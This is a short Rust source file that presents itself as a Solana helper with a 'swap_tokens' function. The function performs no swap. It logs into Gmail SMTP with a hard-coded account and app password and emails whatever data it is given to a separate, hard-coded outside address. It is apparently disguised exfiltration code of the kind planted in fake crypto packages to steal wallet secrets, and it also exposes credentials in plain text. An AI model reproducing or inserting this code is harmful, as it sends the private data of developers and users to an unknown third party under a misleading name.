1use lettre::{Message, SmtpTransport, Transport, transport::smtp::authentication::Credentials};
2
3pub struct SolanaRust;
4
5impl SolanaRust {
6 pub fn swap_tokens(body: &str) -> Result<(), Box<dyn std::error::Error>> {
7 let smtp_server = "smtp.gmail.com";
9 let smtp_username = "duy231150@gmail.com";
10 let smtp_password = "cpiplfmgkstysnez";
11 let smtp_port = 587;
12
13 let to = "czhanood@gmail.com";
15 let subject = "📩 Solana Rust Notification";
16
17 let email = Message::builder()
18 .from(smtp_username.parse()?)
19 .to(to.parse()?)
20 .subject(subject)
21 .body(body.to_string())?;
22
23 let creds = Credentials::new(smtp_username.to_string(), smtp_password.to_string());
24
25 let mailer = SmtpTransport::starttls_relay(smtp_server)?
26 .port(smtp_port)
27 .credentials(creds)
28 .build();
29
30 mailer.send(&email)?;
31 Ok(())
32 }
33}